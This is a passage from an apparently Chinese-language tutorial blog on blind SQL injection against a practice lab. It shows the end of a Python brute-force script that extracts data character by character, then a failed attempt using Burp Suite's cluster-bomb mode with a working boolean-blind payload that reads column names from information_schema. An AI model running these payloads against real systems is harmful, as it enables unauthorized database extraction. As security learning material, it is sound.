elif searchtype == 1:
right = getlength(response.text, 707)
if right == True:
print(right)
c = url
c += ":"
c += "\n"
fp3.write(c)
except requests.exceptions.ConnectionError: #requests.exceptions.ConnectionError是一种异常类型
#利用except捕获错误,做出回显(屏幕上有反应),有异常处理,就不会中断脚本运行
print("Connection Error")
except Exception as e: #其他错误
print("未知错误")
fp1.close()
fp2.close()
fp3.close()
ss = []
with open('output.txt', 'r') as f:
for line in f.readlines():
pos = line.find("'--+:") - 1
if pos > 0:
ss.append(line[pos])
f.close()
with open('output.txt', 'a+') as f:
str1 = ""
str1 = str1.join(ss)
f.write(str1)
f.close()
print(str1)
四、使用burp实现爆破sql注入(失败)
虽然上面用自己写的程序实现了目的,但是感觉用起来还不是那么方便,接下来看下用burp是不是方便点
抓包后设置
14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), 2, 1)=‘d’–+
里的2和’d’为参数,使用bomb模式
Payload1使用numbers模式,to范围是目标长度
Payload2需要手动添加一些特殊符号
但是想不明白的是为啥bp这么慢,同样都是爆破1千多次,等半天还没扫完,而我用python写的程序半分钟就扫完了,而且关键是最后还得不到正确结果,所以用bp爆破sql的方法暂时放弃